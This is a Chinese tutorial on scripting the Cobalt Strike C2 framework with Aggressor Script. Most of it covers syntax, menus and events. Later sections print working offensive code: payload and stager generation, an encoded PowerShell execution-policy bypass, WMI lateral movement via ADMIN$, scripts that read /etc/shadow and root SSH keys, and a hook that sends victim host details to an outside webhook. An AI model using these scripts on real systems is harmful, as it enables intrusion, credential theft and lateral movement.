C2:Cobalt Strike,一款多人運動工具,常常使用再後滲透階段
Aggressor Script:是C2 3.0以上版本的一個內置的腳本語言,他是由Sleep腳本解析,Sleep腳本目前國內是沒有中文版本的,可能是因為使用的人不多,在在後面我會去把這個語言進行翻譯;在CS 3.0 以上的版本,菜單、選項、事件、都有默認的default.cna構建。我們可以使用一些IRC、Webhook去對接機器人和監控,比如瞎子哥的Server上線監聽,以及檮杌等插件的編寫,所以本文也會在他們的代碼基礎上去解釋一些東西
由於 Aggressor Script是由Sleep解析的,所以我們先要安裝一下這個語言的解釋器,這個語言是基於Java的腳本語言
Sleep語言下載地址:http://sleep.dashnine.org/download/sleep.jar
簡介在 C2 中,我們可以打開 Aggressor Script的控制臺
這裡我們可以使用 help查看一些幫助信息:
下面是介紹:
? 進行一個簡單的判斷,返回值為True或者False,例如? int(1) == int(2)返回為False:
e 執行我們寫的代碼,相當於交互模式,如果不加上 e 的話是無法執行的,例如 e println("hello woed"):
help
這個就是現實幫助信息,我們在開頭使用過:
load 加載 cna 腳本,這裡我加載一個腳本: load <cna path>:
這裡加載的 cna 內容為:
意思是創建一個 command 名字為 w,當輸入w的時候就列印hello word。
ls 現實我們目前加載的 cna 代碼:
proff :靜止 cna 腳本運行Sleep的語法(不明白具體的作用)
profile:統計 cna 腳本使用了哪些 Sleep的語法:
pron 機翻:運行 cna 腳本運行Sleep的語法
reload:重新加載 cna腳本,還是用我們剛剛的腳本舉例: 我先修改 cna 中的內容:
在到 控制臺輸入一下:
沒有改變,我們重載一下在運行:
troff: 關閉函數跟蹤,也就是我們不顯示函數運行的具體情況:
tron: 開啟函數跟蹤,顯示我們運行時的具體情況:
發現我們運行的情況,在1.cna的第三行,我們輸出 hello my friend
x:執行一個計算,比如1+1什麼的,這裡需要注意,兩個數字之間需要間隔開,不然會報錯:
使用不帶GUI的C2我們可以使用 agscript 運行一個不使用 GUI 的C2客戶端,簡單的來說就是命令行的操作:
伺服器上啟動後,在本地輸入:
./agscript [host] [port] [user] [password]
只會給我們一個建議的 Aggressor的控制臺,我們可以在後面跟上 cna 的配置文件,在瞎子哥的Server上線中使用過這個東西:
他使用這樣的方式呢可以做到在雲端加載 cna 不錯過推送,如果在本地加載的話就是只能打開客戶端的時候才會接收到推送
使用這樣的方式會在連結的時候優先執行我們的cna代碼,我們在服務端的寫下這麼一個 cna :
on ready {
println("多人運行已經準備好了!準備起飛!!!!"); # 登錄顯示信息
}
然後運行,顯示了我們的信息:
Sleep快速入門因為我是直接翻譯的官方文檔,所以我順便也把這裡翻譯一下
數字
字符串
Arrays
Lists
Stacks
Sets
Hashs
這是他的數據類型,首先我們要注意的是,他的格式是一定需要帶上空格的。
$name = "kris"; # 字符串變量的命名
$age = 18; # 數字型變量命名
Arrays類型:
@user_list = @("kris",18,"四川","單身"); # Sleep的陣列(列表)是類似python的那種任何元素的集合,不需要元素的類型統一
也即是一種複合數據類型。
println(@name_list[0]); # 下標輸出信息
Hashs類型
%dict["name"] = "kris";
%dict["age"] = 18;
%dict["address"] = "sichuan"; # 使用%號創建,有點和python的字典類似
println("Dict is ".%dict);
這樣可以對列表中的元素進行輸出。格式話輸出的語法是使用 . 進行拼接。
Hashs 遍歷語法:
@name_list = @('kris',18,'sichuan');
foreach $var (@name_list)
{
println($var);
}
這個類似我們的python中的append方法,在列表的最後面添加數據:
@names = @("Hellen","Abao");
push(@names,"kris");
print("name :".@names);
首先先看代碼:
sub say_hello{
println("hello ".$1);# 定義一個函數,列印hello + 得到的參數
}
command N {
say_hello($1); # 定義一個命令,並且將接受到的第一個參數傳遞給 say_hello函數。
}
運行結果:
使用定義的 N 命令,在他的後面傳遞第一個名字,就會輸出 hello + 你輸入的名字,我們定義 N 命令的內容將數據傳輸帶 SAY_hello,所以就輸出了 hello + 我們的名字
sub 定義函數 首先介紹定義函數的方式,在Sleep中,我們使用 sub 進行函數的定義,比如我們定義一個加法函數:
sub add {
return $1."+".$2."=".($1 + $2);
}
$sum = add(1,2);
println($sum);
這裡發現,沒有和我們預期的一樣輸出 1+2=3,這是為什麼呢?我們在前面說過,Sleep是由比較嚴格的空格要求,在 ($1+$2)這個地方,我們沒有正確的使用空格,所以報錯,我們只要將他們的格式拿出來就好:
這樣就編輯出了一個函數
command定義命令 語法:
command <你想要的命令>
{
執行的代碼;
}
這裡是我們使用我們自定義的函數進行交互的,在上面我們是使用的 N 去執行 say_hello的函數體,我們現在只使用一個 command 起到相同的作用:
command N {
println("hello ".$1);
}
這裡說明,我們可以直接寫函數,也可以調用
$1 是我們接受到的第一個參數,以此類推:$2是第二個參數.
彩色輸出簡單的來說就是讓我們的控制臺輸出一個帶顏色的字體:
println("\c0This is my color");
println("\c1This is my color"); # 這是黑色
println("\c2This is my color");
println("\c3This is my color");
println("\c4This is my color");
println("\c5This is my color");
println("\c6This is my color");
println("\c7This is my color");
println("\c8This is my color");
println("\c9This is my color");
println("\cAThis is my color");
println("\cBThis is my color");
println("\cCThis is my color");
println("\cDThis is my color");
println("\cEThis is my color");
println("\cFThis is my color");
在3.0版本以上,客戶端界面的大部分東西都是使用 deafult.cna 構建出來的,菜單、默認按鈕,包括我們日常上線的時候 Event log 的格式化輸出。接下來我們就一一介紹
鍵盤快捷鍵語法:
bind <想綁定的組合鍵>
{
按下快捷鍵執行的命名;
}
我們綁定一個來試試看:
bind Ctrl+H {
show_message("使用鍵盤快捷鍵哦!"); # 彈窗顯示我們的消息
elog("使用了快捷鍵!"); # 在 Event Log位置顯示信息
}
當我們 按下 Ctrl + H 的組合鍵的時候,我們就直接彈出信息,並且按照代碼一樣在 Event log下輸出,組合鍵可以隨便寫,你也可以=只寫一個 H,都是可以的,加上 Ctrl只是約定俗,也可以使用對個修飾符,比如 Ctrl + Shift + H。
菜單編寫菜單就是下面這樣的東西:
我們可以自己定義想要的菜單或者將我們的二級菜單添加到已經存在的主菜單下,創建自定義菜單語法如下:
popup <菜單函數名>{
item("&<二級菜單顯示>", {點擊時執行的代碼,或者函數}); # 第一個子菜單
separator(); #分割線
item("&<二級菜單名字>", {點擊時執行的代碼,或者函數}); # 第二個子菜單
separator(); #分割線
}
menubar("一級菜單顯示名", "菜單函數名");
我們現在定義一個簡單的菜單:
popup my_help{
item("&這是百度",{url_open("http://www.baidu.com")});
separator();
item("&這是谷歌",{url_open("http://www.google.com")}); # url_open()這個函數是用來打開網站的
}
menubar("幫助菜單", "my_help"); # 菜單函數,一定要加上
當我們點擊以後,會直接打開百度的連結:
如果我們並不想創建新的菜單,而是想在默認的菜單上增加,我們可以這樣做:
popup help{
item("&關於漢化",{show_message("4.1漢化 by XXX ")});
separator();
}
這樣我們就在與原有的基礎上加上了一個關於漢化的提示,這裡我們是加載外部的 cna ,你可以修改默認的 default.cna來添加自己的信息。
右鍵菜單的選擇
除了上面說的那樣的菜單,我們還會在點擊右鍵的時候打開菜單,如下所示:
創建這樣的菜單我們的語法為:
popup beacon_bottom{
item("&關於作者", { url_open("https://wgpsec.org"); });
}
我們在任何的菜單裡面都可以嵌套菜單,就整出一個多級菜單的樣子,我們把上面的代碼進行修改
popup beacon_bottom{
menu "關於作者"{
item("&博客", { url_open("https://wgpsec.org"); });
item("&QQ", { show_message("1574991635"); });
}
}
多級菜單就是多了一個menu "右鍵顯示的信息"{} 的寫法,這裡和上面菜單編寫最大的區別就是沒有menubar的寫法,因為我們是直接在右鍵菜單上進行修改的,也就是原有菜單上修改
輸入框的編寫在一些時候,我們想整一個輸入框。讓用戶輸入一些東西的時候,可以使用 dialog 數據模型進行編寫,他需要接受三個參數
$1 對話框的名稱
$2 對話框裡面的內容,可以寫多個
$3 回調函數,當用戶 使用 dbutton_action 調用的函數
popup test {
item("&收集信息",{dialog_test()}); # 建立一個菜單欄目,點擊收集信息時就調用show函數
}
menubar("測試菜單","test"); # 註冊菜單
sub show {
show_message("dialog的引用是:".$1."\n按鈕名稱是:".$2);
println("用戶名是:".$3["user"]."\n密碼是:".$3["password"]);# 這裡show函數接收到了dialog傳遞過來的參數,分
}
sub dialog_test {
$info = dialog("這是對話框的標題",%(username => "root",password => ""),&show); #第一個是菜單的名字,第二個是我們下面定義的菜單顯示內容的默認值,第三個參數是我們回調函數,觸發show函數的時候顯示,並將我們的輸入值傳遞給他
drow_text($info,"user","輸入用戶名:"); # 設置一個用戶名輸入條
drow_text($info,"password","輸入密碼");
dbutton_action($info,"馬上起飛!"); # 點擊按鈕,觸發回調函數
dbutton_help($info,"http://www.wgpsec"); # 顯示幫助信息
dialog_show($info); # 顯示文本輸入框
}
定義 diolog 的時候,會將用戶輸入的東西傳遞給第三個參數設置的函數,dialog傳遞的時候一共會傳遞三個參數給函數
$1 為 dialog的引用
$2 按鈕的名稱
$3對話框輸入的值
drow_text是指文對話框的輸入,語法如下:
drow_text("變量名","提示語句");
dbutton_action 將操作按鈕添加到dialog 中,當點擊這個按鈕以後,會關閉對話框,並且傳輸數據到回調函數中
dbutton_action($info,"按鈕的名字")
dbutton_help 將help按鈕添加到對話框中,點擊help跳轉網頁去
dbutton_help($info,"https://www.wgpsec.org")
dialog_show 顯示對話框
事件處理Event Log 就是我們經常看到的那個東西,當有主機上線、用戶登錄或者離開等,都可以在上面顯示出來:
這裡我是用官方的例子來解釋:
set EVENT_SBAR_LEFT { # 設置 Event Log狀態欄左邊的信息
return "[" . tstamp(ticks()) . "] " . mynick()." 正在線上!!"; #顯示的信息,tstamp(ticks())是顯示時間。mynick()顯示名字這裡我在後面加上一個正在線上。
}
set EVENT_SBAR_RIGHT {
return "[lag: $1 $+ ]";
}
當我修改以後再使用以後,我們發現我們的狀態欄發生改變了
我們再舉一個例子,我們知道當有用戶上線以後,會在Event log裡面顯示,但是這樣我們可能看起來會不是很明顯,我現在想要上線的時候,彈窗告訴我們誰誰誰連結了我們的C2伺服器,並且修改Event Log顯示的信息,那麼我們就可以修改 event_join:
event_join:給定我們兩個值:
$1-誰加入了團隊伺服器
$2-消息發布的時間
on event_join {
show_message($1."加入到伺服器中!");
elog(mynick()."來了!");
}
這樣我們就很清楚那些人加入了我們的 C2 服務,當我們使用自己的 cna 時,默認的 cna 就不會加載,由於篇幅的限制,我在後續會把所有的支持的 事件 寫出來,這裡我們也能夠懂得 Server 上線是使用的第一行代碼,當機器上線的時候我們執行的代碼:
官方事件:https://www.cobaltstrike.com/aggressor-script/events.html
數據模型(Data Model)數據模型我感覺有點像自帶的一些函數,我們輸入這些函數得到數據
C2的服務端戶把我們所有的數據保存在伺服器上,例如主機信息、數據,下載的東西等,所以當我們加入C2的伺服器時,我們可以直接將其他用戶保存過的信息保存下來
數據接口(Data Api)--data_query()C2中所有的數據模型也會在後面翻譯出來,我先簡單的是用幾個舉例
ModeFunction含義targets存儲的目標信息顯示上線過的主機信息archives顯示最近的信息顯示最近的輸出信息(慎用很卡)beacons顯示所有的受感染的主機信息顯示在線和上線過的主機credentials顯示憑據信息我們抓取過的密碼信息和製作的票據信息downloads顯示下載信息顯示我們在受控端下載的信息keystrokes記錄鍵盤輸入當我們選擇進程記錄鍵盤的時候,會將得到的鍵盤信息記錄下來screenshots屏幕截圖顯示顯示我們截圖的二進位信息流sites託管的資產看起來是我們創建的監聽的埠個Stager回連的埠servers上面的這些數據結構(可以理解為函數)使用他們可以返回對應的信息,以數組的形式返回,我們可以通過 Aggressor Script的控制臺進行查看,例如:
支持下標索引:
字典的操作也可以:
我們可以寫一個 cna 來獲取當前主機的信息:
command info{
println("IP位址:".targets()[$1]["address"]."\n作業系統:".targets()[$1]["os"]."\n用戶名:".targets()[$1]["name"]);
}
運行查看結果:
我們輸入的 0 和 1 就是取的對應的下標
當然我們也是可以修改數據模型的輸出的.
Listeners用來顯示存在的監聽器
監聽器就是我們常常使用的,用來接收C2馬子的流量的東西和寫入荷載的信息;監聽器會在生成荷載的時候將我們選擇的某一個監聽器的信息寫入,在第二階段時候,利用Stager加載我們的配置信息,如果是一個 Beacon_HTTP 的話,那麼寫入的東西包括 IP、埠、回連地址等信息,如下
Listener API 會將所有的監聽信息顯示出來,我們可以使用 Listeners()顯示所有的信息,如果我們有本地的監聽,例如 SMB 的監聽的話,我們就需要使用 Listeners_local 顯示本地的信息,如下:
這樣我們可以顯示我們的信息,但是我們沒法詳細的查看每一個Listener的詳細信息,那麼我們可以使用 Listener_info 函數來顯示我們所有的信息
Listener_info 的使用方式:
listener_info("想要查看的監聽器信息")
我們可以將兩者結合起來顯示所有的監聽器的信息,我們把Listeners 得到的名稱傳到 listener_info:
command show_info {
foreach $name (listeners()) {
println("\n== $name 的配置信息 == ");
foreach $key => $value (listener_info($name)) {
println("$[10]key : $value");
}
}
}
上面的 cna 加載以後就能得到這樣的信息
Listener_create_ext 創建新的監聽器
在 GUI 界面中我們可以直接創建,其實那個 GUI 創建也是調用的 Listener_create_ext,進行創建,下面是他個我們定義好的參數:
$1-偵聽器名稱 $2-有效負載(例如,windows / beacon_http / reverse_http) $3-帶有鍵/值對的映射,這些鍵/值對指定了監聽器的連結信息,host和port等
$2的可選項為:
payload類型windows/beacon_dns/reverse_dns_txtBeacon DNSwindows/beacon_http/reverse_httpBeacon HTTPwindows/beacon_https/reverse_httpsBeacon HTTPSwindows/beacon_bind_pipeBeacon SMBwindows/beacon_bind_tcpBeacon TCPwindows/beacon_extc2External C2windows/foreign/reverse_httpForeign HTTPwindows/foreign/reverse_httpsForeign HTTPS$3的可選項:
KeyDNSHTTP/SSMBTCP(Bind)althost按照這樣的方式,我們使用 cna 配置一個 Beacon HTTP 的監聽:
語法:
listener_creat_text("創建的名稱","選擇的payload",%("選擇的payload需要填上的參數"));
實踐
listener_create_ext("我的HTTP監聽","windows/beacon_http/reverse_http",%(host=>"IP或者域名",port=>1080,beacons =>"IP或者域名"));
printAll(listeners());
println("創建成功!");
由於我的埠被佔用,我先刪除一下:
然後運行 cna 並查看:
成功創建,我們這裡的參數並沒有全部按照啥要求填滿,和我們平時 GUI 創建是一樣的。在原文中提到過一個 代理問題 ,這裡我沒寫,因為我感覺用的比較少
會話傳遞
在我們日常使用的時候,我們會將會話傳遞(Spawn),比如將會話傳遞到 MSF 中,或者傳遞 SMB 到其他會話,下面是這個操作的源碼:
item "&Spawn" {
openPayloadHelper(lambda({
binput($bids, "spawn x86 $1");
bspawn($bids, $1, "x86");
}, $bids => $1));
}
這裡面設計到多個 數據模型 ,我們一個一個的講解。
popup beacon_bottom{
item("&會話傳遞",{openPayloadHelper(lambda({
bspawn($bid, $1);
println("我們傳遞的監聽器是".$1)},#
$bid => $1));});
}
當openpayladhelper打開存在的Listener會話時,他需要接受一個值,這個值是選定的監聽器,然後這裡將這個值傳遞給bspawn,bsapwn需要接受的第一個值也是選定的監聽器(bspawn是生成一個新的會話),所以這裡我們的將選擇的監聽器傳遞給bspawn就可以傳遞會話,這個地方的寫法是固定的,單獨的將openPayloadHelper使用是不可以的,但是baspwn是可以的,當運行上面的內容以後,我們可以查看$1的值,你會發現就是我們所選擇的監聽器:
這樣我們也算是重寫了我們 Spwan的數據模型
官方菜單寫法中,使用的是 binput,這個 數據模型 是用來在Becon 中顯示我們執行的命令的,下面是官方的寫法的結果:
StagersStager我只能根據我的理解來描述,肯定會和很多師傅的不相同,僅作為參考
Stage(階段)指的是分階段,他沒有含義,僅僅是指的這種類型,分階段木馬一般是我們在目標上無法使用較大的文件或者命令時使用,使用這樣的方式分階段的一個一個的從遠端下載我們的代碼,然後傳輸到受控段
Stager指加載器,例如下面這個截圖:
這裡我們使用 Stager 去請求我設置的URL,所以我們可以將Stager理解為加載器,加載遠端的代碼;在官方文檔中是這麼解釋的:Stager 是一個微型程序,它可以下載有效荷載並且接收,適合運用於有大小限制的程序,例如用戶的驅動攻擊。
我們可以適應 stager 數據模型將我們的信息列印出來,使用它需要輸入兩個參數
$1 Listener 名字
$2 選擇位數 x86 | x64
我們在控制臺可以查看一下:
其次就是使用 artifact_stager 數據模型生成我們的可執行文件,或者其他類型的木馬,他需要接受3個參數: $1 監聽器的名字
$2 生成文件的類型,比如exe
$3 選擇位數 x86 | x64
下面是$2 的可選的參數
類型說明dll一個 dll 程序exe一個可執行的 exe 程序powershell一個powershll執行程序python一個python的程序raw原始文件svcexe一個svc.exe程序vbscript生成Vbs文件我們使用 artifact_stager進行生成:
$data = artifact_stager("Tencent", "exe", "x64"); #選擇監聽器、生成類型、位數
$handle = openf(">Kris.exe"); # 生成的路徑,這裡是在當前執行的路徑下
writeb($handle, $data); # 寫入
closef($handle); # 關閉寫入,不關閉會一直卡住
我們執行:
然後運行這個木馬,看看是否可以上線:
可以上線,在GUI中也是使用的這個 數據模型 創建。
Local Stagers本地的Stager信息
我們上面提到了監聽器的信息有 本地監聽器和雲端監聽器,那麼對於本地的正向連結的 TCP Listener 我們就可以使用 stager_bind_tcp 這個數據模型來查看,這個數據模型只能查看 TCP 類型的 Stager,他需要接受三個參數:
$1 我們創建的 TCP 監聽名字
$2 監聽器的位數
$3 監聽器的連結埠
我們使用下面的代碼查看一下我們的 TCP stager信息:
$TcpStager = stager_bind_tcp("你的TCP監聽器名稱","位數","bind to 埠");
elog($TcpStager);
實測加了埠也沒有變化:
Named Pipe StagerPipe Stager是內網滲透中,用於不能出網的主機的一種加載器,他只有 X86 的選擇,我們可以使用 stager_bind_pipe 數據模型導出對應的 SMB 監聽,他需要接受的參數如下:
$1 監聽器的名稱
他只需要這一個參數,CS4.0以後我們創建 SMB 連結只需要填寫監聽器名稱,其他的都會自動填上。
$SMB_stager = stager("SMB");
elog($SMB_stager);
stageless 和stageless相反,指的是無階段;stageless payloads 是指無階段的荷載信息,我們可以使用 payload 數據模型導出所有的信息:
$1 監聽器的名字
$2機器位數 x86 | x64
$3 進程名字
$data = payload("Tencent", "x64");
$handle = openf(">out.bin");
writeb($handle, $data);
closef($handle);
保存成功,然後我們可以使用 hex 打開看看內容:
Beacon信標,它是C2在異步開發後的代理(機翻...),個人理解是指上線的主機
元數據C2在我們的(主機)信標上線以後,都會為他們分配一個獨一無二的會話 ID,這個ID是一個隨機數,Cobalt Strike將任務和元數據與每個信標的ID關聯,我們可以使用 beacon_ids 數據模型獲得當前所有會話的 ID 號碼:
x beacon_ids() #獲取所有的會話ID
我們可以利用得到的 會話ID 使用 beacon_info 數據模型得到所有的數據,我們會返回一個數組:
x beacon_info(beacon_ids()[0]) #獲取所有信息
可以使用字典的操作,
x beacon_info(beacon_ids()[0])["os"] #獲取os信息
於是我們可以循環取出這個會話ID的所有信息:
command show_all {
foreach $entry (beacons()) { # 循環取出 會話ID
println("== "."會話ID"."【". $entry['id'] ."】"."的信息如下"." ==");
foreach $key => $value ($entry) { # 根據 ID 以次取出對應的 key和value
println("$[15]key : $value");
}
println();
}
}
除此以外還可以使用 beacons 數據模型返回所有信息:
Alias我們可以使用 Alias 為Beacon的添加新的別名,和Aggressor Script一樣,我們可以自定義函數或者代碼
他有三個參數:
$0 是我們起的別名和傳輸的參數
$1 是當前會話的 ID
$2-3-4....第二個參數及以後,就是我們 是我們傳遞的參數,他們由空格隔開,我們舉一個例子:
alias info {
blog($1,"我的名字是 $2 ,今年 $3 歲了,住在 $4 ");
}
一定要注意格式!變量兩邊是空格,不然會運行不上,如下:
Reacting to new Beacons我們可以使用 beacon_initial 這個事件來為我們主機上線是執行操作,這裡我們設置一下,當主機上線是讀取他的信息,然後彈處窗口告訴我們,beacon_initial 觸發時會返回一個 會話 ID,也只會返回這一個值,我們可以利用這個 會話ID 去讀取信息:
on beacon_initial {
show_message("你有新的主機上線!\n會話ID為:$1 \nOS為:".beacon_info($1,"os")."\n內網地址為:".beacon_info($1,"internal"));
}
但是上面的這種方式是不適合DNS上線的,因為當DNS主機上線時,是沒有進行數據交互的,需要我們主動切換數據的交互類型,我們使用上面的的代碼試試看:
沒有觸發我們的配置,那麼當我們改變他的通信方式以後看看結果:
切換以後我們就得到了回應,為了解決這種問題,我們就可以使用 beacon_initial_empty 事件在得到一個 DNS 信標的時候執行命令
他和 beacon_initial 一樣,第一個參數是得到的新的信標的 會話ID,我們編寫下面的代碼,當 DNS 信標回來以後我們自動執行切換通信方式:
on beacon_initial_empty {
bmode($1, "dns-txt");
bcheckin($1);
}
on beacon_initial {
show_message("你有新的主機上線!\n會話ID為:$1 \nOS為:".beacon_info($1,"os")."\n內網地址為:".beacon_info($1,"internal"));
}
bmode 數據模型 可接受2個參數,用於切換數據傳輸方式 $1 DNS信標的 會話ID
$2 修改 DNS 信標的會話方式(例如dns,dns6或dns-txt)
bcheckin 數據模型 接受一個參數,用來強制回連 $1 信標的 會話ID
上面的代碼實現的作用是,當我們的 DNS 信標回連以後,切換 DNS信標 的數據方式,並且要求強制回連,然後在列印我們的信息,運行結果如下:
這樣就解決了問題
beacon_bottom && beacon_top在信標右鍵加上我們的菜單,和最開頭的操作是一樣的,使用這個 beacon_bottom HOOK 可以建立一個 信標 的右鍵選項,這個右鍵選項會在最後一行加上,如果想要讓他顯示在最頂端的話,我們可以使用 beacon_top HOOK將他的位置放在最上面:
popup beacon_bottom{
item("&在最下方",{});
}
popup beacon_top{
item("在最下方",{});
}
在 C2 3.0以上的版本對用戶的輸入記錄有非常詳細的記錄,對每個信標執行的命令都會以記錄對應得時間戳和用戶名,Cobalt Strike客戶端中的Beacon控制臺處理這些日誌記錄,這些記錄都是使用 binput 數據模型進行操作,他需要接收兩個參數:
$1 信標的會話ID
$2 在beacon 中顯示的信息
binput(beacon_ids()[0],"在beacon中顯示的信息");
我們這裡是直接輸出的東西,我們也可以將這個東西改為命令:
binput(beacon_ids()[0],bshell(beacon_ids()[0],"whoami"));
官方文檔這裡是在講解 beacon 中的 powershell命令是怎麼來的,我不做翻譯,但是吧官方為文檔貼出來
# powershell 的編寫源碼
alias powershell {
local('$args $cradle $runme $cmd');
# $0 is the entire command with no parsing.
$args = substr($0, 11);
# generate the download cradle (if one exists) for an imported PowerShell script
$cradle = beacon_host_imported_script($1);
# encode our download cradle AND cmdlet+args we want to run
$runme = base64_encode( str_encode($cradle . $args, "UTF-16LE") );
# Build up our entire command line.
$cmd = " -nop -exec bypass -EncodedCommand \" $+ $runme $+ \"";
# task Beacon to run all of this.
btask($1, "Tasked beacon to run: $args", "T1086");
beacon_execute_job($1, "powershell", $cmd, 1);
}
下面是 shell 的源碼:
alias shell {
local('$args');
$args = substr($0, 6);
btask($1, "Tasked beacon to run: $args (OPSEC)", "T1059");
bsetenv!($1, "_", $args);
beacon_execute_job($1, "%COMSPEC%", " /C %_%", 0);
}
權限提升的腳本源碼
官方的 ms16-032 權限提升寫法
# Integrate ms16-032
# Sourced from Empire: https://github.com/EmpireProject/Empire/tree/master/data/module_source/privesc
sub ms16_032_elevator {
local('$handle $script $oneliner');
# acknowledge this command
btask($1, "Tasked Beacon to execute $2 via ms16-032", "T1068");
# read in the script
$handle = openf(getFileProper(script_resource("modules"), "Invoke-MS16032.ps1"));
$script = readb($handle, -1);
closef($handle);
# host the script in Beacon
$oneliner = beacon_host_script($1, $script);
# run the specified command via this exploit.
bpowerpick!($1, "Invoke-MS16032 -Command \" $+ $2 $+ \"", $oneliner);
}
官方權限提升,產生新會話
源碼:
beacon_exploit_register("ms15-051", "Windows ClientCopyImage Win32k Exploit (CVE 2015-1701)", &ms15_051_exploit);
官方橫向移動源碼
beacon_remote_exploit_register("wmi", "x86", "Use WMI to run a Beacon payload", lambda(&wmi_remote_spawn, $arch => "x86"));
beacon_remote_exploit_register("wmi64", "x64", "Use WMI to run a Beacon payload", lambda(&wmi_remote_spawn, $arch => "x64"));
# $1 = bid, $2 = target, $3 = listener
sub wmi_remote_spawn {
local('$name $exedata');
btask($1, "Tasked Beacon to jump to $2 (" . listener_describe($3) . ") via WMI", "T1047");
# we need a random file name.
$name = rand(@("malware", "evil", "detectme")) . rand(100) . ".exe";
# generate an EXE. $arch defined via &lambda when this function was registered with
# beacon_remote_exploit_register
$exedata = artifact_payload($3, "exe", $arch);
# upload the EXE to our target (directly)
bupload_raw!($1, "\\\\ $+ $2 $+ \\ADMIN\$\\ $+ $name", $exedata);
# execute this via WMI
brun!($1, "wmic /node:\" $+ $2 $+ \" process call create \"\\\\ $+ $2 $+ \\ADMIN\$\\ $+ $name $+ \"");
# assume control of our payload (if it's an SMB or TCP Beacon)
beacon_link($1, $2, $3);
}
上面涉及到的 數據模型 和 事件,在官方文檔中都可以找到。
SSH Sessions和 beacon 一樣也是信標,但是是從 Liunx 主機上返回的
如何上線一臺 Liunx 主機呢?我們可以按照傳統的方法使用官方給的方式,直接在 Beacon 中去連結內網中的liunx主機,語法如下:
beacon> ssh <IP>:<port><username><password>
我在本地開一臺liunx主機,然後我們在橫向上線:
可以發現我們得到一臺liunx主機,這裡上線 Liunx 主機的的作用大概是為了好看一點,能夠很快速的定位liunx主機是由那個windows打通的,其他的就不給予評價,個人感覺可以直接ssh登錄就行
當我們登錄成功以後,我們就可以在 Liunx主機上執行命令,和 beacon 差不多:
除了官方的方式上線,我們可以使用 Cross C2,下載地址:https://github.com/gloxec/CrossC2/releases/tag/v2.1
官方文檔:https://gloxec.github.io/CrossC2/zh_cn/
會話類型的判斷當我們上線主機後,可以使用 -isssh 數據模型檢查是否為Liunx主機,它接受一個參數
$1 信標的會話ID,如果是的話就執行下面的代碼或者函數
我們來判斷一下我們的主機是否為 Liunx 還是 Win
command what {
foreach @ID (beacon_ids()){
if (-isssh @ID){
println(@ID." 是liunx主機"." 機器名是:".beacon_info(@ID,"computer")." 用戶名是:".beacon_info(@ID,"user"));
}
else{
println(@ID." 是windo主機 "." 機器名是:".beacon_info(@ID,"computer")." 用戶名是:".beacon_info(@ID,"user"));
}
}
}
運行一下:
判斷出了我們的主機信息
SSH Aliases和 beacon alias 一樣,我們也可以為 liunx 主機創建 SSH 控制臺命令,比如查看我們的 /etc/password:
下面的 $1 是信標的會話 ID
ssh_alias hashdump {
if (-isadmin $1) { # 判斷是否為管理員,因為password非管理員不等查看
binput($1,"導出passwod的HASH:")
bshell($1, "cat /etc/shadow");
}
else {
berror($1, "你不是管理員!!");
}
}
當然你也可以寫其他命令,bshell 數據模型是用來執行命令的,他需要的參數如下:
$1 信標的會話ID
$2 需要執行的命令
比如我們查看 liunx 主機的SSH密匙的信息:
ssh_alias ssh_demo{
binput($1,"列印SSH私鑰信息");
bshell($1,"cat /root/.ssh/id_rsa");
}
運行:
ssh_command_register當自定義一個 ssh命令 以後,只有自己知道這個 命令的具體使用方式,當想要所有人都知道這條命令的含義的時候,我們可以使用 ssh_command_register 數據模型 顯示幫助信息,他需要接受三個參數
$1 自定義的命令
$2 命令的介紹
$3 幫助信息,類似告訴他怎麼用
舉一個例子,現在我寫一個命令用於從根目錄查找我們想要的文件:
ssh_alias find {
bshell($1,"find / -name $2");
}
ssh_command_register (
"find",
"查找你想要的文件從根目錄開始",
"使用方式: find test.txt"
);
在 ssh 控制臺中輸入 ? 號就可以查看到命令和他的解釋,使用 help find 可以查看到這個命令的使用方式解析:
我們運行一下:
Reacting to new SSH Sessions和 beacon 一樣,當有新的Liunx主機上線時,我們做的事情,使用 ssh_initial 實事件觸發,如下:
on ssh_initial {
show_message("有新的LIUNX主機上線\nIP為".beacon_info($1,"internal")."\n主機名字為:".beacon_info($1,"computer"));
}
適合liunx主機的右鍵菜單
popup ssh {
item "執行命令" {
prompt_text("你想運行哪一個命令?", "w", lambda({
binput(@ids, "shell $1");
bshell(@ids, $1);
}, @ids => $1));
}
}
使用方式和Beacon基本相同,所以不再贅述
Server醬上線代碼解析代碼來源:算命瞎子:http://www.nmd5.com/?p=567
原始碼:
# 循環獲取所有beacon
on beacon_initial {
sub http_get {
local('$output');
$url = [new java.net.URL: $1];
$stream = [$url openStream];
$handle = [SleepUtils getIOHandle: $stream, $null];
@content = readAll($handle);
foreach $line (@content) {
$output .= $line . "\r\n";
}
println($output);
}
#獲取ip、計算機名、登錄帳號
$externalIP = replace(beacon_info($1, "external"), " ", "_");
$internalIP = replace(beacon_info($1, "internal"), " ", "_");
$userName = replace(beacon_info($1, "user"), " ", "_");
$computerName = replace(beacon_info($1, "computer"), " ", "_");
#get一下Server醬的連結
$url = 'https://sc.ftqq.com/此處填寫你Server醬的SCKEY碼.send?text=CobaltStrike%e4%b8%8a%e7%ba%bf%e6%8f%90%e9%86%92&desp=%e4%bb%96%e6%9d%a5%e4%ba%86%e3%80%81%e4%bb%96%e6%9d%a5%e4%ba%86%ef%bc%8c%e4%bb%96%e8%84%9a%e8%b8%8f%e7%a5%a5%e4%ba%91%e8%b5%b0%e6%9d%a5%e4%ba%86%e3%80%82%0D%0A%0D%0A%e5%a4%96%e7%bd%91ip:'.$externalIP.'%0D%0A%0D%0A%e5%86%85%e7%bd%91ip:'.$internalIP.'%0D%0A%0D%0A%e7%94%a8%e6%88%b7%e5%90%8d:'.$userName.'%0D%0A%0D%0A%e8%ae%a1%e7%ae%97%e6%9c%ba%e5%90%8d:'.$computerName;
http_get($url);
}
整體代碼流程是,監聽上線事件,當有新的主機上線的時候我們就執行代碼:
#上線事件的監聽
on beacon_initial {
. # 代碼
}
然後呢定義一個請求函數
sub http_get {
local('$output');
$url = [new java.net.URL: $1]; # 實例化URL請求,$1為待輸入的URl
$stream = [$url openStream];
$handle = [SleepUtils getIOHandle: $stream, $null];
@content = readAll($handle);
foreach $line (@content) {
$output .= $line . "\r\n";
}
println($output);
}
將剛上線的主機的 外網IP 內網IP 用戶名 主機信息 提取出來,優化輸出
#獲取ip、計算機名、登錄帳號
$externalIP = replace(beacon_info($1, "external"), " ", "_");
$internalIP = replace(beacon_info($1, "internal"), " ", "_");
$userName = replace(beacon_info($1, "user"), " ", "_");
$computerName = replace(beacon_info($1, "computer"), " ", "_");
最後格式化一下URL再請求
